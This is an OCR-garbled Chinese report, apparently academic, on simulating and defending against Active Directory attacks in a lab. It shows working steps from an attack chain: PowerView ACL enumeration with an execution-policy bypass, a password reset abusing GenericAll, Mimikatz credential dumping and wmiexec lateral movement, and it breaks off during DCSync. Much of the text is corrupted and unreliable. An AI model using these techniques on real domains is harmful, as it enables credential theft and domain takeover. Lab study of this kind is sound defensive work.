FOZH I o TR F ARG 2

L

EAR 114 # 110
Nov, 2025



Contents

Contents.....ccceeeercneecssnnecsnnne ii
Chapter 1 B cicnneenncnisesnsseessssessssesssssssssssessssssssssssssssssssssssssssassssssssssssssssass 1
Chapter 2 AP B B ATEI T covcrnencccnesicesssssssscssssssssssssssssassssssssssassssssssssssass 2
2.1 Active Directory(AD) F5 % B . oo 2

2. 1.1 AD T8 B F 02 s 3

2,12 AD ZTHE F 2 s 4

22 APBEH T BH 2 AER s 5
Chapter 3 AD -2 P UITH A8 4] cooreeeereeeeereneneeneeesesssseseessssssesesssssssesesssssssenns 7
3.1  Purple Knight + BloodHound 8 & .......cccoeoviiiiiiiiiiceeeeceeeeeee e 8

3.2 MiImiKatZ + WIMIEXEC ..eouviriieiiiiiriieniieie ettt ettt sttt saeens 9

33 &% ACL (GenericAll / WrittDACL ) E 3 B A5 cooovieiieeeeeeeeeeeeeeeen. 10

3.4 DCSync / DCSRAOW ....cc.covuiiiiiieiieiesieit ettt 11

3.5 GOlden TICKET .....ooiiiiiiiiieeieeeeeee et 13
Chapter4 kK Sf&EFEHMZ RIFELE 14
41 PC-SEC % G ER"BEFT X AR & e 14

4.2 TekPass-KEEP APD cooveeeruiiriiiieiieeeiee ettt estee et e eveeeereeeaee e eaaeesaeeesnneeens 15

4.3 Caldera. ..o et 16
Chapter 5 B BB 5 B A LB TT vrvrnncncnnnnnnisissssnissssssssssssssssssssssssssssssassssssssssas 17
51 AD £ 2 B LT 310 15 s 17

52 B FFBBRI A BIEE s 30

il



521 TP-ACL ..ot 30

522 TP-CFA .ot 35
5.2.3 PC-SEC Caldera APT29 JBIZ# .o 40
Chapter 6 B E {8 FFT T cvvrrrrrnnrncncnssnsasessssssssssssssssssassssssssssassssssssssssassssssssssass 42
Reference.........oueeeecueenennnnne 44
A A, B T (B B B L TR T crvvrnennnnnnnnnnsnnsssssssssssssssnsssssssssssssssssssssssssssssssssasssssossss 48
LR L SR T L TR & 49

il



Chapter 1 %%

v

s BB E TV Ak - The

By

LI R R E R AL 20

et
Ar

» Active Directory (AD) i 2 Microsoft & ¥ k3¢ * ¢ ¥ IZEEL 5T

&
7“5%

REPER A - LT B S YT R L RS T

HEI22HFVEB RS HEF > KL BF o
273 RE R AD AMPE AT AERICEREY pFEE- B
& ¥ 3¢ o0 Active Directory 338 0 T ik g5 ¥ 2L st ¥ 48 (Attack Chain ) 2R.3(d

B BEHS  RIURS ERA B A LR 5 BIAE R ER e AD £

|rml.

U PR SRETE AL ENS AL T AR - R NE LS

27

[

4

w
v

N

FROFTRFE L RBF LI G A S BEF FREFE AT R
TR B T il a4 B o

AL AR LGS SIMA o - IMAKE AD £E EIUTF B K8
g fv> & 7 #* PurpleKnight ¥* BloodHound i {753 f & &2 U jc o 47 > 45
fic. Mimikatz % wmiexec.py i& 7B B H » H > ¥ i2— # 5:iF GenericAll
&% * ~ DCSync/DCShadow ¥ %2 Golden Ticket % Hjt> ﬁm:c?:%*"ﬁ d - ARtk

BLRH BRI RSP RERORFRE c SO NARRENLEFERER ALY

}“EB:
nf

PR 0 @ 41 * ZeroLogon &k 5 F: wmiexec.py ~ smbexec.py #&7E TP-ACL
fEffar 4 o @ * 23] RAT 1 2 &2 h¥s 2 o84k ~ R3¢ TP-CFA *t %X g F
L2 R RE sk o 12 % £ 1F MITRE Caldera 1 £ #$t APT29 st#4a -, 3=

e PC-SEC #fh ghrc ¥ cndfife = »% o



Chapter 2 M EEF

2.1 Active Directory(AD) F % $ ¥

Active Directory (AD ) #_d Microsoft *7® 4 e p fR43% > 2 & * % f 1T e
poenh E s T2 ik o AD R Y SN an b o S e s L R RE Y
Pron IT A#ZHE2 - <58 AD> § S8 WA 7 o 2 so i~ 8% i 1 47
GE RS R EE e

FRARD T R
® k3 ird|xk(Domain Controller, DC) : f ##7% AD FHET v R%kHELE K -
® @ HHRELFE T REEEEIL R -
® kR (GroupPolicy) @ * 123a 4% % & 589 % 23 F_o
® ixh % (Trusts): # b e @ AR o

'-. FREEDOM

#: Forest - Company

Forest

LR Bl Active Directory ey & 2 Tﬁ »d @A T4 %L Forest ~ Tree ~ Domain ¥ QU o 11 2 &

B TR R AEIVFE 2 GRS R T F 2 TR

.-. FREEDOM

7 ]
Domain / N\,
/ i
///
mm o OV \
\
2 )
ou ou

% Active Directory ¢ » ¥ 2 hpl$ # (GPO) ¥ £ * f%k (Domain) p % e H

(OU) 1+ % rush— §3Wig* &+ o FRemE e
2



f FRE P > Active Directory (AD) E_ {80 TRy ¢ b4 > BARIT

o I’J:%:—"F’f%ﬁ%é'%%ﬁ% ~ BBt

\.‘

B H 2 m 2R o Bl 2R
AD i@ T B{E2 AV i DT X BB A ERFFRREY g ' o

2.1.1 AD & &+

Bt P % & ¥ <0 Active Directory (AD) &7 % AP > L & Hjc k5 ¥ Ep
FoH MBS RN T I e s gL

bs Bl OSINT A kiR § 73 W B et nf 1 %% f 1 B

Ridofe  F#REAATHMY FRA IV AT S EP TR gl kst

o

AE A AR R NIRRT AR R T S Rkl fRE et

%45~ B CHB/IDS/IPS G %~ (v E G KR A o @ @i B AD MEELE 0 £ @

Riga
B:0%

AD +cHE1 B4 AD 2B E A4 uFERY ¥ HeEHw
¥ L AD $cBF1 B
® PowerView
* i4:3%5 18 PowerShell $c# i@ * —‘ﬁ ST %~ 2 ~OU~ACL~SPN % AD #
ERE o P EES N FEEEIRE -
® BloodHound / SharpHound

* i%:SharpHound Jc # AD 73 > BloodHound ™ Neodj B]7;i- d &4k
Ip F

=

A5 °

® Kerbrute

* i:% 3§ Pre-Authentication 7| § »tié * F M 5L, T Hip s tRELIE (7 M 5

i AR TR L A A TR o U T L MR B e NTLM @R i 4



I LR BT B iE 53 R g o
® Idapdomaindump (Impacket % i p 3%)
*ig:%:8 LDAP & DRSUAPL i AD Hesip 975 & % # ~ 3l ~ T

OU 2 GPO {M» T #4565 5 JSON & CSV 12 i s s 47 o

2.12 AD st# £ 2

Active Directory (AD) sz # L/l ¢ j8~ B4senid AFFF o — Bt V¥ PR R BT ER

P plE 0 ¢ B GG R R LB B oo

AD seHFd §¥ 7 A ST B BALIFE S AR Y 7 EHRFENE L L

® 4 % (Reconnaissance )
SO K AR A BT  He M BT T 0 bl4eiS i LDAP
e B & % * BloodHound 1 £ B35 LR i% o

® 53732 (Credential Access)
fI* 4o Mimikatz 2 lsass ;ofRMFRB-F 2 300 F PR % FRk P 2 R s
Kerberos TGT -

® j#'13%  (Privilege Escalation )
F4p o B-Y AR ELE L B VR SLE i 0 b4e Kerberoasting ~ & * ACL
#*2 (4 GenericAll & WriteDACL) % -

® ¥+ # % (Lateral Movement )
&d ¢ BE R 5L £ 3F 0 % 4o Pass-the-Hash ~ Pass-the-Ticket - WMI ~ RDP
TR RPN R PRS-

® A ivtyER (Persistence & Defense Evasion )

4



é#‘é“:— bF’adv‘E%&u‘lé

FH g yR -

® Eiird|

Golden Ticket ~ 12 ¢ AdminSDHolder % = ;% » x i%

( Domain Dominance )

s 4 B % P~ Domain Admin ' i EREFIRBE TR > ¢ FHEE

&~ GPO £ % Xk o

2.2

1101651 Mm%

I LT

%» N ~ AJ_
\‘:/HFJ ~ @ =

W g R

On Attacking Kerberos
Authentication Protocol in
Windows Active Directory

Services : A Practical Survey

44+ Windows Active Directory PRF+? #74% #*

ERRERE N I £ i R

e Kerberos i3 & o
FCHEE SF IR N RS TR AR

SR AF BT R R o

Active Directory Attacks—Steps,

Types, and Signatures

R LF L el U2 i i)
# (Pass-the-Hash ) ¥# Kerberoasting sz # » ¥
Windows % it p 3&¢ 7

FEFHRLSITE A

LE O the B g T

How to stop attackers from owning

your Active Directory

§ S £k (holB AP U ol
FHd ) FAREBIG P LI F BT 2R
PR S 4 SPEE = T

W FEHRAPE L F o F 2 I AD



https://ieeexplore.ieee.org/document/9501961
https://ieeexplore.ieee.org/document/9501961
https://ieeexplore.ieee.org/document/9501961
https://ieeexplore.ieee.org/document/9501961
https://www.mdpi.com/2079-9292/11/16/2629
https://www.mdpi.com/2079-9292/11/16/2629
https://www.henrystewartpublications.com/sites/default/files/CSJ5.4HowtostopattackersfromowningyourActiveDirectory.pdf
https://www.henrystewartpublications.com/sites/default/files/CSJ5.4HowtostopattackersfromowningyourActiveDirectory.pdf

T e SRk AD TRB g e
1111615 & % g
Hv w4 &
Improving your Active | £ #50 AD R F 'L~ F o5 # —‘F'{ K& B
Directory _ security  posture: B IR

AdminSDHolder to the rescue

M- iR YER B AD SR

5.0 %83 AdminSDHolder 4312 § 4t 4c
NEBRERAEE O EIFFT ET‘}“";‘E? —

T A4 AD RFEHABR e BE OB E -

Exploiting  Misconfiguration

Vulnerabilities in Microsoft’s

Azure Active Directory for

Privilege Escalation Attacks

A £ Azure AD P # fi ¥ ®2 ¥ Managed

Identity 3% %4838 0 £ 3 HET T ALY

Sd? U I o P Y

I—ﬂi%%c 5ﬁ K " "11

HIVESLETE 0 U KGR A KT R K o

Unsupervised Learning for

Lateral-Movement-Based

Threat Mitigation in Active

Directory Attack Graphs

APl - AN AD B S 2 ePATS 2

BB R EFE Y kR AD < F B/ Yl
BEE LR T A g T o H e B f H R
K h

R T S LY INNUY s IR P

B A de o JEm o S



https://www.semperis.com/wp-content/uploads/resources-pdfs/resources-improving-ad-security-posture-adminsdholder.pdf
https://www.semperis.com/wp-content/uploads/resources-pdfs/resources-improving-ad-security-posture-adminsdholder.pdf
https://www.semperis.com/wp-content/uploads/resources-pdfs/resources-improving-ad-security-posture-adminsdholder.pdf
https://www.researchgate.net/publication/371901005_Exploiting_Misconfiguration_Vulnerabilities_in_Microsoft's_Azure_Active_Directory_for_Privilege_Escalation_Attacks
https://www.researchgate.net/publication/371901005_Exploiting_Misconfiguration_Vulnerabilities_in_Microsoft's_Azure_Active_Directory_for_Privilege_Escalation_Attacks
https://www.researchgate.net/publication/371901005_Exploiting_Misconfiguration_Vulnerabilities_in_Microsoft's_Azure_Active_Directory_for_Privilege_Escalation_Attacks
https://www.researchgate.net/publication/371901005_Exploiting_Misconfiguration_Vulnerabilities_in_Microsoft's_Azure_Active_Directory_for_Privilege_Escalation_Attacks
https://www.mdpi.com/2079-9292/13/19/3944
https://www.mdpi.com/2079-9292/13/19/3944
https://www.mdpi.com/2079-9292/13/19/3944
https://www.mdpi.com/2079-9292/13/19/3944

Chapter 3 AD % U 184

ASCHCEAHD e AD B 7~ Benn R SRS 0 A AR 4 B -
PRBLE R PR B A AT B e A B EREHCACL P BT EHBHE L2
B %9 iF ) Golden Ticket » 12 if & 4F A L 244 Uehp £ o

Active Directory E EHEPRMER IS HI0FFE

e
Purple Knight BB EEBE EER T FEAER
BloodHound Nimikatz wmiexec.py ACL Abuse DCSync / DCShadow Golden Ticket
Aftacker
| I 1 1 1 1 I
I I I I | I |
| F8 Purple Knight 8 AD Bl _| | I | I [
T > i i i i [
! | wsmmmssiocs | | : : :
| = | | | | [
I I | I | | \
| {2 SharpHound tuEADES | : : : : }
: >
I I I I | I [
| #2## BloodHound fiPREIEH | | | | |
| I | | | | [
I | I i i [
I I N ! | | | |
I AHFEEREREE D) | I | | [
I I | I | | [
I I i | | | [
I {BF Mimikatz S5 NTLM Hash = I | I [
T T > i i i [
! | | i isass AN | : : !
. . e i | | ‘
I I | I | | [
: : [ sanmensen, : : }
| | | Al E{§H Hash | | | |
I I i i i i [
i
I M wmiexec py BiTiEM&H ¢ } _‘: : : }
»
| i | | | I i
I I I | IR WM ERERREES | I [
I I I I I [
| | | | | |
I I | i | I [
: : | U smsmmmazeA e | : |
I I I I | | [
| ! FEEIEBIRSE ACL (40 GenericAll) | __' : }
f i ; . >
I I I I | i [
| | | I | EETERMNRR | |
I I | I i | [
I I I I | [
I I i i A [
I I I I P \
I I I I I I [
| | | | | |
| | {EF] DCSync HAER krbtgt Hash B NTLM HASH I .__| |
[ | I T T et} |
| ! ] : | sDC EREHMAN |
| | i | P— ‘
I I I | | [
I I | |
i : i i EREEN ‘}
| ; y [ T IREEEERE Hash ||
I I I | | I
i
I I 1EfA Golden Ticket {38 TGT : J
I I | g
: I : | SEABEHARS
I I |
I I |
I I I
I I i
I I |
I I i
| I |
I I |



3.1 Purple Knight + BloodHound i %

— ~ Purple Knight

()%

PurpleKnight & d Semperis *TH 3 - 2 L 7§ % 2B L > B * 0FR
Active Directory (AD) ~ EntraID 2 Okta HE % 2 h'% o ioB 1 E 7 g #
FAEX 2R b R B S PR A SR Y R R SR AL

*=

g °

(= )% s

Lasul g 2~ B

Purple Knight # k] AD %3¢ ¥ it AseF F 1% chF b 'afic & (loEs) & & L
BHEE (JoCs) F o4 gFma P o

2.RIEY SRk 2 A

I EFikE-S <6 Al 185 HARRHp R o SUIRB R~ R G FIREm A

3.4 B iRkL s AR R

4 %> 15 Purple Knight € 355 58 3 Mk " AZ R TR A T3 1 F Fehig
RAER -

4.4 4R 2 X BT+ ok

FENFABEENE 200 287 UE Sl B S A B ) iy

ST R R T CE ST I

= ~ BloodHound&SharpHound



(=) %

1.BloodHound * £_— & B /& EA; 1 ~ 471 & > 1% Bl > 4447 AD # @& % 4 »
B TER E L BN G B E AD FH 22 - Bilmipiip
IR N3 PSP R 28 o Y

2.SharpHound : ¥.— B F e feh1 2 > € AD BHE ¥ fcd 4 EF R > & BFR
#& 4 & BloodHound ¥ 4 #7&83% o

(= )* 5

1.BloodHound : # * Bl > 544 AD " Up R > Boripdtsp s #0327 i
YR 2 U TR B R PR "ECER RIS ) R e

2.SharpHound: /& _AD #pB~# e = § ~ % Mo T 2~ 'K =¥ T4 ¥ 5 BloodHound

B4 P F o

3.2 Mimikatz + Wmiexec

-~ HAFRILG A

EEFREFEREY AT FEFIFEA- S LA g e #F (Lateral
Movement ) # iz & H e golfl o 2 ¢ > Mimikatz - ¥ LA AR 5
TRk MR BB p B & ¥ B ~ 5L NTLM Hash ¢ Kerberos & %

( Ticket) » 3% f#x’x?—‘ﬁ & § & (7 Pass-the-Hash # Pass-the-Ticket Fs; 4 o

= ~ Mimikatz
Mimikatz ¥ % & .#Lx’(&t—‘ﬁ AE % PMERLE K B T R EY
2

i lsassexe EBAZY HEF A G TN o F AN 5 HE FEUEL (4

9



Administrator ) % » i#8 " session W A& o Wi Ii?'ﬁ i * g Mgtk gL o &

¥ B~ {8 3% % Uk 5 e NTLM Hash o

= -~ wmiexec

F RPN E T s H —‘F'T v % i WMI( Windows Management Instrumentation )

EHE R AP P REFRBEL 0 E- HIEEHE LR P DR ER - WM A
Windows (£ 3 J St 22 e i Sog TS > RREP PEGE g LR A RSt

FRE AR SR Ble B3 TR R AR A~ 23R RAR

44
= o

I/I‘gt’?f ¥ 4 * 4o wmiexec.py & 1 & > £ e B3 4 ' UR 5L (4o Administrator )
e NTLM Hash > it £ 72 % = hi o> JGRF I WBF S i B3 F 2 E >+
WeoWMI 47 & 4 P> ¢ P R4 %7 wmiprvse.exe #2545 T Fcd & L T RE
TR BEEEFU AT FE e F XL FIPUERERY 7§ ) BB E A

AR S N ALK 0 B TR MR F IR TR T KRk R o

3.3 &?* ACL (GenericAll / WriteDACL ) £ & %45

-~ A E

% Active Directory (AD) ¢ » 3 P~4341; H (Access Control List » ACL) & - f&
R Rl 2 (BlAei P F R Fhe s TR E) g PRl

ACL ¢ % i % B~37 #4158 (Access Control Entry » ACE) =& » &  ACE #8 % % 7

- RAAE (R FAER) HE B L MR

10



= ~ACL ¥ ACE ¢h3 & # i

LAp &P i p iy 2 D ACL aGp (% &3 ) 7 ot AD 4 2
T

2w iR UR ] ACE ¥ W R S MR T Aot OB B Rag AR B
3L > F BN 5 ACL> ¥ 1 F RianReh® 2rc L U0 K 0 3% AD

YRR AREY

= ~ GenericAll {#*I3P &2 b '

7% ACE #'3¢ > GenericAll - 38 3 b " f£'Y > R A REILHFF 2857
TR EAIE

EF IR BT 1 L

(HF B3 Bt

()i 7 ACL

(3)t 4o R S AR T £ K B RS S

3.4 DCSync/DCShadow

-~ HFRIE

% Active Directory #e3& ¥ > % 4% 5 B %38 4745 (Domain Controllers ) F #Lh
- RE CREFEREFRY IS AR - AFTHEENH cHRH LBED SN

11



JRi% (Directory Replication Service » #§ #- DRS) 7 e 3% IR * 7 @B 425

#¥v1 (Remote Procedure Call, RPC) % Z_® ¢ drsuapi £2 dsaop & B 4 & & {71

oo
¥R 0 DC F&iH® DC k¥ FAp §w e DC 3% DRS 4F @i ko4
?13?‘-‘]"»5‘#; BFEALIE R » GlActREL B BTN RBREE c EHBTRE

}—ﬁ;ﬂé"‘ ’E'Jg‘aﬁ’”\#“}]?ﬁ °F’Kﬁ§% m)rb)’l'}%'&ﬂ;q* S 3}1»:“/2‘ mﬁﬁa%ﬁﬁjv\k’—iﬁaﬁj

FRAT LB 7T AR R s

= ~DCSync 52 #

DCSync # - f#&4|* Active Directory 4F & ##] k 3 P~t& 508 % (4~ NTLM Hash-
Kerberos % #8275 ) e Fojlv o 3%sc ¥ d Mimikatz 1 E ¥ &0 [sadump::dcsync
HaesfFm  vHEE- 2 DC» ¥ d i DC #iE48 B R RBREE
¥Loe

T F PG e TR T g ds DCSync ¢

® Replicating Directory Changes

® Replicating Directory Changes All

1 %4 Mimikatz #£ &7 Isadump::desync 4p £ > ¥ HE R HE o 2R Y

BAET AL o

= ~ DCShadow z#
DCShadow & - #& { i&F# e Active Directory sz ¥ e H 4| % P &04f B 844

LHEEE RSB~ AD FTAE > & 241 DCSync & 8 P~ plsa F B EH

12



B- o3 DCow»EE DC FEHB TR BB AT 2T e 2p ik
DCShadow sc# 2 FE &5 'L > U T 2 & &5

i Configuration » % & > &3 :z DC 47 it chfE 'l

® &5 CreateChild £ (* ** 373 Server 4+ %)

® &5 WriteProperty '3 (i sxdf Wk 2247 WH )

3.5 Golden Ticket

Golden Ticket sc# #_ Kerberos uiE 5 TP — A8 & % dfF A L se F Hjw o

Kerberos 1% #_i% i Key Distribution Center (KDC) % x5 % (TGT ~ TGS )
# ¢ kabigt tRELE4G L - & F TGT - F s # 4 P~ i¥ kibtgt 7 NTLM hash > %

R THRE S L TGT » ¥ KDC * 3 K+ iZ- g+ o

JL3E 1R g e TGT :T‘*wf)a'-; Golden Ticket » — & &% @/ {F2;3 »~ > I’«:QR'*F{ ey &

PricpeH P it o BB EREaE AL

’RAF -

® P~iF krbtgt NTLM hash (i€ ¥ ’f &L = # # = DCSync)

® Sk MEIF 4 {7 Mimikatz > ¥ » TGT I § = € 7

13



Chapter4 £ Ff#EBFEHMWZ PF1 L

41 PC-SEC % ET BT E A nfais 3

PC-SEC 4t TP-SEC % 7 E3@ T s H# R F 0T 4 L5 4 & ik B8 20>
G b A e U s et B R ZTA R AL S B IR A1
WH Ao AN FRL IR G Bt e D SR AR A AR TR
BF R

- SRR

1E Ao skdEer 544

FPRERHAMERT XL 0% FALRFAB - FUAREEIR G

FEFASACT ALY % 2 B ERBMEF - THB R ARE D -

AR RRC
Lk RGEZE-
QiR A K K o
3ok e r BB bR R ST o i F R RBTEDE
T AN 2
A dR 4 @ ¢ & TP-ACL 22 TP-CFA # it 5 * #2.5% ©
L.TP-ACL(J # # i ) i %
° ggfé;E’<%»%km@¥ﬁﬁcw@£)ﬁﬁéﬁu%o

14



® KAMar -ERASTREN 4 EAIRHEI EF T

2.TP-CFA(% 3 F ol & ¢ 32) 4 ¢

® FARAMENPEPEL > PLEBRBFHHEEL G

® HZFHFBEHMN T RGP E 0 LEDRXDREEBT - 2% &2 HK
FHFRL &L e BEE o

4.2 TekPass-Keep App

Bl EY A PF PR S SRR RE E S AE T A G - Ll

TEREFBFTBEMAFL  FRILE 2P ERIFERR Y A b R

AL X AW Z B0 P AT o TekPass 8- 4T BB B E L App o T

et p AL AT Y & 2L RS W R e R R R

{}\‘ o

A G iRE

IEEJCE S

KERY MY FEPLPwRT  BEIHUPAE o

W5 T RER R HATED A LS BRI b G

LT FEH A SRR TS TS 857 B+ R > TekPass
App A2 R BB TER SN BEYIA T CHARPE T RERSOER
Y A T I

BABHEF X204 FLATRETBREE » PF o 516 TekPass App # 4

4% H QR Code ¥ » ¥ AL T ARSI PR o

| 4

BT BB LER SRR TG R AR B 2SRt 2

15



BrEF e A 2 o TekPass 2341 7 Gk 518 * "ﬁ E R WA T AR
_?_‘ o

3EL

#F * & Android £ i0S A& A £ 4% ~ T 4+ {r Windows T "% Chrome {0 &% /& *
AN R ERPHB-EAL pEE o

WP ropEaE Fer o TR AaEYS o

4.3 Caldera

- N1 ETimEp

MITRE Caldera £ MITRE #& 1 chff it f 82 (i T o o 524 M 0 31 3
WL N%Ep it 227 EAF L IRRROE T A4 Vi RapERY
*=xF Y p 2 Active Directory PliEHr3 > T 2 Caldera fic# APT29 ehik & 4
TTP > A w] i % &% %L 3 PC-SEC M cniis ™ R 740 b sc ¥ 4a > 12

Wi s L FE:,— 54k /?'Jlf?ﬁfﬁj i B .

\

~ Caldera shfrw e it &2 r 4

® ATT&CK #/R:“77 TTP( e~ HpiFer 2 B )91 ATT&CK & p 5 4%
A RRERERESC EE .

® Agents (FNIEARF )IINF NP AE L f FREEIAF IR B % o

® Adversary Profiles($ & ZH): %5 B TIP B B 57 €45 e FsafF 4>
A Eeid £ g R AR o

® Operations (TR iT3): d = 7E > L EHI X THEP BEE > 7%

SRbs s 4 (T o

® Web /g @FL I HRETHIL % %f;;fl%i’é’li’%ﬁ;f]ﬂ’, IR R
16



Chapter5 RE%2%8 i%BT

51 AD #£3 " Ut F W47 1*
Ay 3 RATRPI L L BUHF AT BIFREFT TR o
® ZEEFEX:

Windows Server 2019:Active Directory Domain Services ( AD DS )

>
~

— 5 Windows10 : f#Ep 20 * Jﬁ (Administrator)

!

% = 5 Windows10 : ##isc# (- i@ # iIq’)
Feg- @ HER
¢ * 1 Z : Purple Knight 22 BloodHound ¥ SharpHound
(= )PurpleKnight
1.- B4a% X7 i € 5 7] " Restricted | & B 453530 4 > 7 10 2 AR 5 P g
£ R 5 @ 0 7 3 Execution Policy # # 5 RemoteSigned > 14 v 3F & 3= %r

AREIL LRGBS

4e CurrentUser 3 s

Iy
itz
b

SRR A IR R S S

17



_ =

2X KRSV LERTR DGR D 0 KT 17&%4 - AR

Salact one or more options =
S O ReFmesH
) | © okt
@ * AD Delegatior AD Delegation
) | O ENTRAID 5

Z
@) | A ACTIVE DIRECTORY
Select forest and domans 10 assess @ D » Gn Weight
A cep =
@
(= I
© OKTADisconnected & MEDDisconnected | A Avlabie 1 Unreochable 0 Selecied: 1 BACK Available 112/M2 Selected: 112 BACK

orest cepastalocal

Run by CCPASTA\aa

* NEwscan B SAVEAS..

4.5 55 %

F 4 0% - T ¥ g 3] Purple Knight #t 7 5 Active Directory 3 ¥ 3%

79%

ACTIVE DIRECTORY

AF ccpasta.local
B~ 1
o0 00:00:47.7611009
i CCPASTAMS
Indicators

Evaluated 109
Mot selected 0
0 108s found i
© Passad 5
© Failed to un 0
® 1ot Relevant 3
© Canceled 0
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EERB AN AD B 6 1% }:%‘%ﬁ%\&% » # ¢ AD Delegation ¥ 7
87% (C+) # 7 & iR L &2 ; Account Security £ Infrastructure Security 4 %] 7
94% & 96% > » T - kit £ 8 o GroupPolicy fr Kerberos JF’E ¢ E 99%

(A) > Hybrid F]iZF & Z 38570403 344 o

ACTIVE DIRECTORY RESULTS

Categories
87~
AD DELEGATION ACCOUNT SECURITY AD INFRASTRUCTURE
SECURITY

AD delegation is a critical part of
security and compliance: By
delegating control over Active

99~

GROUP POLICY SECURITY

Group Policy Security indicators
pertain to the security

configuration of GPOs and their

(= )BloodHound&SharpHound

1.34 7 Bloodhound

Startin,
Neo4j

neo4j
running at pid 3

Bloodhound will start
IMPORTANT: It will take time, please wait ...

2025-05-07700:
2025-05-07T00:
2025-05-07T00:
"2025-05-07T00:
"2025-05-07T00:
"2025-05-07T00:
2025-05-07T00:

.062634548
-11097538
-111348819-04

INFO","message
"INFO", "me

Account Security indicators pertain
to security weaknesses on

indavidual accounts--built-in or

a

29~

KERBEROS SECURITY

Kerberos Security indicators
pertain to the configuration of
Kerberas capabilities on computer

"Reading configura

AD Infrastructure Security
indicators pertain to the security
configuration of core parts of AD's

N/A

HYBRID
Hybrid indicators help you
understand and mitigate the risks

associated with a hybrid identity

"Logging configured"}

"No database driver has bee
"Connecting to graph using N
"Starting daemon Tool

API"}

set for migration,
043"}

n found at /etc/bhapi/bhapi.json"}

his is a new SQL database. Initializing schema..

:"Creating migration schema... "}

SQL migrations for

g SQL migrations for

SQL migrations for
QL migrations for
SQL migrations for

g SQL migrations for

-0.

using:

neosj

"INFO", "me
"INFO", "messa

ecuting SQL migrations for
:"Executing SQL migrations for

Initial Password Set To:

5-05-07T00:

2. 2% % = BloodHound 2 & & T §* SharpHound :& {7 T ehvfc f - 37 ke

SharpHound 4§ | ¥| BloodHound sn3# & » 4 732 B 4p 4 BEAEL-BTER "

19



o

e

SR ARG 0 B F RIR]T B

3. f BloodHound } i# &3t

Upload data from SharpHound or AzureHound offline collectors. Check out our Gett arted documentation for more information

Upload File(s)

User Start Time End Time Duration Status Status Message
spam{@example.com 2025-05-07 03:27 EDT (GMT-0400) 0 minutes Complete Complete
spam{@example.com 2025-05-07 03:15 EDT (GMT-0400) 0 minutes Complete Complete

Dexample.com 2 5-07 DT (GMT-0400) 2025-05-07 03:12 EDT (GMT-0400) 0 minutes Failed All files failed to ingest as JSON Content

spam{@example com 07 03:02 EDT (GMT-0400) 2025-05-07 03:03 EDT (GMT-0400) 0 minutes Failed All files failed to ingest as JSON Content

spam@example.com 2025-05-07 03:00 EDT (GMT-0400) 2025-05-07 03:00 EDT (GMT-0400) 0 minutes Failed All files failed to ingest as JSON Content

_ Rows pe - 1-50f

4 GOEERKFT e TR (R XATH) BB E P H R RM G

L

Domain Admin '3 |

Q SEARCH © PATHFINDING

» @ o
<

ADMINISTRATOR(ECCPASTA LOCAL MermberQ DOMAIN ADMINS@CCPASTA LOCAL
.

PR I BEHF-ERHBF
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L_

mimikatz + wmiexec &
1. 2i{¥ NTLM Hash

Ri,
e

sk

#_+F # 7 Mimikatz

1k
#

= & (Hash)

R ERL]

l)’l';}‘ﬂ
318 e o

2. f1* Kali p2£H Impacket 1
f B

LREEAFR e HBF
NTLM Hash ¢ * Kali Linux Ff % ¢ Impacket
wmiexec.py %A K& FH v HH o ;
Instrumentation ) FjiF

1= ¢
%%rk %3 WMI (Windows Management
FRE

codec CODEC]
ISION] [-h
nt Instrumentation

Adds

argetName or address
does

p ip address] [-A authf

If empty it w
Turn

launch a semi-intera

cs.p
odec

output (no SMB connection
g output
oc ython.org/

default ADMINS)

ection created)
given command (no output)
and the corresponding codec

output (default

Lt Sutf-87),
odecs.html#standard-encodings

If errors are detected, run
and then ec

ecute wmie

j%%hlgx‘ Eg J_

>

':Iz 2z
F] £

& NTLM



A - BLEIHNgugsE shells gt T F A PHEFEL

-~

shell - Careful what you execute
commands

adminisi

PEZ TR

i# * ACL (GenericAll) €% %45

GenericAll on User

spotless & 55 % rﬁ?ﬁ j > delegate tRELE TP > MIFHFL 2 Z A E

1. % hsc&E@* ﬁ spotless €_F ##7% GenericAll rights % delegate & * ?{ 1 AD
P

LR

powershell -ep bypass

Import-Module .\PowerView.ps1

Few spotless ¥+ delegate 47 75 GenericAll 2%

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ?
{$ .ActiveDirectoryRights -eq "GenericAll"}

i€ % Get-ObjectAcl 3% %34 delegate i€ * 4 4 i + #r5 ACE (Access Control

Entry)» i & ¥ 114275 GenericAll #*:7 ACE :

22



Owner: delegate (delegate@domainlocal)  Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).
Permission entries:

Type Principal Access Inherited from Applies to

B8 Allow SELF Read/write phoneand .. None This object only

8% Allow  SELF Read/write web inform..  None This object only

HR Allow  Domain Admins (DOMAIN\Do.. Full control None This object only

-‘1 Allow  spotless (spotless@domainlo..  Full control None This object only

B2 Allow  Account Operators (DOMAIN\..  Full control None This object only

8% Allow  Authenticated Users Read permissions MNone This object only

B2 Allow  SELF Special None This object only

82 Allow  SYSTEM Full contral None This object only

82 Allow  Pre-Windows 2000 Compatibl.. Special DC=domain,DC=local Descendant InetOrgPerson ob..
AR Allow Pre-Windows 2000 Camnatihl Snecial DC=damain DC=lacal Descendant Groun ahiects -

Add ove = Restore defaults

Disable inheritance

OK | Cancel

InheritedObjectType

ObjectDN : CN=delegate,CN=Users,DC=domain,DC=local
ObjectType - All

IdentityReference : DOMAIN\spotless

IsInherited o o 1

ActiveDirectoryRights : GenericAll

PropagationFlags : None
ObjectFlags : None
MNone

ObjectSID : 5-1-5-21-9; 08942028- 7840197-11280

2.net users spotless /domain

FE% spotless TR L A e 3 T el & T3

23



PS C:\> net users spotless |,
FUser name

Full Name

Comment

Account active
Account expires

last set
expires
changeable
required

change password

Workstations allowed

Logon script

User profile

‘Home directory

'Last logon Never

hours allowed All
Local Group Memberships

Global Group memberships *Domain Users
The command completed successfully.

3.17 netuser 3 #]€ % [ delegate | %75

FE3% spotless @ #&7 it #H 21 ¢ 913 e GenericAll 82 > 3 F # * net

Z_ AT % A

‘-\n—

user ¢ 4 ¥+ delegate "R ELIE T R AB £ K o # e dele 2025gate ALK E
ﬁis?] » :whoami; net users delegate dele 2025gate /domain

FAp s~ HRE > § BT N4 delegate %A < AL 2x i dele 2025gate

PS C:\> whoami; net use

domain\administrator
The command completed succe
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fPEE R R

# * 1 E ! DCSync&DCShadow

(- )DCSync

l.emd i * & %t 7 B 4% {7 mimikatz

dminigl\Downloads®

mimika

il.com )

2. privilege::debug : ¥ :FEE P w3 {7 7 Mimikatz & @ P~ ¥ Debug ' > 7

[privilege::debug] Privilege 20' OK > % 7= ##*22 I Frfc®

